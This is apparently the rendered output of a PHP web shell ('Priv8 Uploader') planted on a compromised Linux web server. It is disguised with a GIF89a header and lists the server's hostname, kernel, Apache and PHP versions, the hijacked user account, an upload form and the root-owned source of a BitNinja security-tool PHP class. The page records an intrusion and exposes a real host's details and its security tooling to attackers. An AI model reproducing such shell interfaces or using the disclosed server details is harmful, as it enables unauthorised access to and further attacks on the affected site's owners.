GIF89a;

Priv8 Uploader By InMyMine7

Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
HEX
HEX
Server: Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips
System: Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: vacationcoursesc (1031)
PHP: 7.3.28
Disabled: NONE
Upload Files
File: //root/src/Bitninja.php
<?php

/**
 * Description of Bitninja
 *
 * @author Joseph Easy
 */
class Bitninja
{

    private static function _buildLogFilesArray()
    {
        $logFiles = array(
            'error.log',
            'main.log',
        );

        $moduleLogFiles = scandir("/var/log/bitninja/");
        foreach ($moduleLogFiles as $key => $logFile) {
            if (!preg_match('/^mod\..*\.log$/', $logFile)) {
                unset($moduleLogFiles[$key]);
            }
        }

        $logFiles = array_merge($logFiles, array_values($moduleLogFiles));
        $array = array();

        foreach ($logFiles as $logFile) {
            $array[] = array(
                'filename' => $logFile,
                'lines' => exec("sed -n '$=' /var/log/bitninja/$logFile"),
                'modified' => filemtime("/var/log/bitninja/$logFile")
            );
        }
        return $array;
    }

    private static function _sortLogFiles($fileLogsArray, $sortBy)
    {
        $modified = array();
        foreach ($fileLogsArray as $key => $row) {
            $modified[$key] = $row['modified'];
        }
        array_multisort($modified, $sortBy, $fileLogsArray);
        return $fileLogsArray;
    }

    private static function _searchLogInArray($array, $filename)
    {
        foreach ($array as $key => $item) {
            if ($item['filename'] == $filename) {
                return $key;
            }
        }
    }

    public static function getAndBuildLogs($isFirstRun, $prevLogFilesData = array())
    {
        $LogFilesData = self::_buildLogFilesArray();
        $logs = array();
        if ($isFirstRun) {
            $logFilesData = self::_sortLogFiles($LogFilesData, SORT_DESC);
            $diffTime = strtotime("-5 minute");
            foreach ($logFilesData as $data) {
                if ($data['modified'] >= $diffTime) {
                    exec('tail /var/log/bitninja/' . $data['filename'] . ' -n 3', $lines);
                    $logs = array_merge($lines, $logs);
                } else {
                    break;
                }
            }

            $logsReverse = ($logs);
            $logs = array();

            foreach ($logsReverse as $log) {
                $separatedLogs = explode('\n', $log);
                $logs = array_merge($separatedLogs, $logs);
            }
        } else {
            $logFilesData = self::_sortLogFiles($LogFilesData, SORT_ASC);
            foreach ($logFilesData as $data) {
                $key = self::_searchLogInArray($prevLogFilesData, $data['filename']);
                if ($prevLogFilesData[$key]['lines'] < $data['lines']) {
                    $diffLines = $data['lines'] - $prevLogFilesData[$key]['lines'];
                    exec('tail /var/log/bitninja/' . $data['filename'] . ' -n ' . $diffLines, $lines);
                    $logs = array_merge($lines, $logs);
                }
            }
        }
        return json_encode(array('logs' => $logs, 'logFilesDatas' => $logFilesData));
    }

    public static function getVersion()
    {
        $version = exec('rpm -q bitninja');
        $version = explode('-', $version);
        return $version[1];
    }

    public static function isRun()
    {
        $output = [];
        exec('/bin/ps cax | /bin/grep bitninja', $output);
        foreach ($output as $line) {
            if (preg_match('/\sbitninja\s*$/', $line)) {
                return true;
            }
        }

        return false;
    }

    public static function start()
    {
        exec('service bitninja start');
    }

    public static function stop()
    {
        exec('service bitninja stop');
    }

    public static function getLicenseInfo()
    {
        $output = shell_exec("bitninjacli --licenseinfo | grep info | grep -oE '[^ ]+$' | xargs");
        $output = preg_replace('/.*\[.*\] - \|.*\| ([a-z_]+)/', '$1', $output);
        $output = str_replace('_', ' ', $output);
        $output = ucfirst($output);

        return $output;
    }

    public static function checkGL($ip)
    {
        $response = [];
        $ip = trim($ip);

        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
            $response['success'] = false;
            $response['message'] = 'The IP address is invalid!';

            return json_encode($response);
        }

        $output = exec("bitninjacli --greylist --check=$ip | sed -r 's/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g'");
        $output = preg_replace('/.*\[.*\] - \|.*\| (.*).*/', '$1', $output);

        $response['success'] = true;
        $response['message'] = $output;

        return json_encode($response);
    }
}